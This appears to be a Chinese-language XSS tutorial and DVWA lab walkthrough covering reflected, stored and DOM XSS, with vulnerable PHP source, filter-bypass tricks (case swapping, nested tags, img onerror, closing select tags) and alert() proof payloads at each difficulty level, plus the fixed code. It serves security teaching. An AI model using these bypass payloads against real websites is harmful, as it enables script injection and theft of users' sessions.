文章目录
何为XSS
- 跨站脚本攻击XSS(Cross Site Script)
- 攻击者在web页面插入恶意代码,当用户访问该页面时,恶意代码就会被执行,从而达到攻击用户的目的
XSS存在原因
- 对 url 或者 提交给 web服务器的内容 没有进行充分过滤
XSS危害
|--->窃取cookie
|--->网络钓鱼
|------->针对用户-->|--->放马挖矿
| |--->广告刷流量
XSS----|
|
| |--->篡改页面
|----->针对web服务->|--->传播蠕虫
|--->内网扫描
|--->劫持后台
从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,
只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,
需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。
XSS分类
- 反射型XSS(非持久型)
- 存储型XSS(持久型)
- DOM型XSS
1、反射型XSS
特点:
- XSS攻击代码非持久性,也就是没有保存在web服务器中,而是出现在URL地址中
- 一般是攻击者通过邮件,聊天软件等等方式发送攻击URL,然后用户点击来达到攻击的
流程: 黑客利用社会工程学的方法,让用户点击带有XSS恶意脚本的url,用户点击后访问了正常的服务器,服务器将恶意脚本弹回给了用户浏览器,用户浏览器解析并执行恶意代码,向恶意服务器发起请求,于是黑客便可以获取用户的Cookie等信息。
2、存储型XSS
特点:
- XSS攻击代码存储于web服务器数据库中
- 攻击者一般是通过网站的留言、评论、博客、日志等等功能将攻击代码存储到web服务器上的
流程: 黑客在正常服务器上构造XSS脚本,并存储在正常服务器数据库中,其他用户访问正常服务器下存在恶意脚本的页面时,正常服务器会将恶意脚本弹回给用户浏览器,用户浏览器解析并执行恶意代码,向恶意服务器发起请求,于是黑客便可以获取用户的Cookie等信息。
3、DOM型XSS
DOM 全称为 文档对象模型(Document Object Model)。这种DOM型与反射型、存储型有着本质的区别,它的攻击代码不需要服务器解析响应,而是依靠的是浏览器端的DOM解析。攻击者利用客户端的JavaScript脚本访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
XSS的简单绕过WAF
----------------------------------
1.区分大小写过滤标签:
过滤:$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</script>
绕过:可以使用大小写绕过 <scripT>alert('hack')</scripT>
----------------------------------
2.不区分大小写过滤标签:/i:不区分大小写
过滤:$name=preg_replace("/<script>/i","",$name); //不区分大小写过滤 <script>
$name=preg_replace("/<\/script>/i","",$name); //不区分大小写过滤 </script>
绕过:可以使用嵌套的script标签绕过:<scr<script>ipt>alert('hack')</scr</script>ipt>
----------------------------------
3.不区分大小写,过滤之间的所有内容:
过滤:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容
绕过:虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件
或者iframe等标签的 rc注入恶意的js代码。
<img scr=1 onerror=alert("xss")>
------------------------------------
DVWA 反射型XSS
1、Low
查看源码: 没有做任何防护
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
构造payload:
<script>alert("xss")</script>
2、Medium
查看源码: 使用了 str_replace() 函数,将
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
绕过:
- 大小写绕过
- 双写绕过
构造payload:
// payload one
<ScrIpt>alert("xss")</ScrIpt>
// payload two
<sc<script>ript>alert("xss")</script>
3、High
查看源码: 使用了 preg_replace() 函数,将任何模式的 script 都过滤了
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
绕过:
- 使用其他标签
构造payload:
<img src=1 onerror=alert("xss")>
4、Impossible
查看源码:
- 使用 checkToken() 验证 token ,防范 CSRF 攻击。
- 使用 htmlspecialchars() 函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
DVWA 存储型XSS
0、相关函数介绍
htmlspecialchars() // 把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
trim(string,charlist) // 移除 string 两侧的空格或其他预定义字符,可选参数charlist支持添加额外需要删除的字符。
mysql_real_escape_string(string,connection) // 函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义。
stripslashes(string) // 删除 string 中的反斜杠
1、Low
查看源码: 虽然使用 trim 去掉空格,使用 stripslashes 去掉反斜杠,使用 mysql_real_escape_string 转义特殊字符,但是这些对我们的 根本不起作用(含的是斜杠,不是反斜杠),所以整个代码没有对 XSS 做任何防护
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] ); // 去掉空格
$name = trim( $_POST[ 'txtName' ] ); // 去掉空格
// Sanitize message input
$message = stripslashes( $message ); // 去掉反斜杠
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 特殊字符转义
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 特殊字符转义
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
构造payload:
Name = 1
Message = <script>alert("xss")</script>
2、Medium
查看源码:
- 使用了 htmlspecialchars() 函数,将 $message 中的预定义字符转换为了HTML实体,防止其作为HTML元素
- 使用了 str_replace() 函数,将 $name 中的
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // 将 $message 中的预定义字符转换为HTML实体
// Sanitize name input
$name = str_replace( '<script>', '', $name ); // 将 $name 中的 <script> 标签替换为空
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 将 $name 中的 <script> 标签替换为空
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
绕过:
- 这时 $message 不存在XSS漏洞,而 $name 可以绕过,但发现 $name 限制了输入长度,于是可以用 burpsuite 抓包改造 $name
- 大小写绕过
- 双写绕过
构造payload:
// payload one
Name = <ScrIpt>alert("xss")</ScrIpt>
Message = 1
// payload two
Name = <sc<script>ript>alert("xss")</script>
Message = 1
3、High
查看源码:
- 使用了 htmlspecialchars() 函数,将 $message 中的预定义字符转换为了HTML实体,防止其作为HTML元素
- 使用了 preg_replace() 函数,将任何模式的 script 都过滤了
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // 将 $message 中的预定义字符转换为HTML实体
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); // 将 $name 中任何模式的 script 都过滤
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
绕过:
- 这时 $message 不存在XSS漏洞,而 $name 可以绕过,但发现 $name 限制了输入长度,于是可以用 burpsuite 抓包改造 $name
- 使用其他标签绕过
构造payload:
Name = <img scr=0 onerror=alert("xss")>
Message = 1
4、Impossible
查看源码:
- 使用 checkToken() 验证 token ,防范 CSRF 攻击。
- 使用 htmlspecialchars() 函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,解决了XSS所以无法注入
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
DVWA DOM型XSS
1、Low
查看源码: 没有做任何防护
<?php
# No protections, anything goes
?>
构造payload:
<script>alert("xss")</script>
2、Medium
使用stripos对"<script"进行过滤,并且不区分大小写,如果有则置为English
1.此时查看源码:
<select name="default">
<option value="" disabled="disabled">----</option>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
<input value="Select" type="submit">
</script>
2.输入的值会在value中显示,直接<script>alert("x");</script>被过滤,换用标签
使用payload:<img src=1 onerror=alert("xss")>
此时:
<option value="%3Cimg%20src=1%20οnerrοr=alert(%22xss%22)%3E"></option>
<option value="" disabled="disabled">----</option>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
发现标签未被显示,接着想办法闭合标签<select>和<select>让我们的payload加载到html
中能被执行:</option></select><img src=1 onerror=alert("xss")>
当然也可直接闭合<select>:payload:</select><img src=1 onerror=alert("xss")>
构造payload:
</ select><img src=1 οnerrοr=alert(“xss”)>
3、High
这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的
相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行:
尝试English#< script >alert(“x”);
构造payload:
English#<script>alert("x");
4、Impossible
当我们尝试注入时,我们注入的内容都会经过URL编码显示在输入框,经过URL编码的内容被放在HTML标签中,而没有经过解码。所以不存在注入。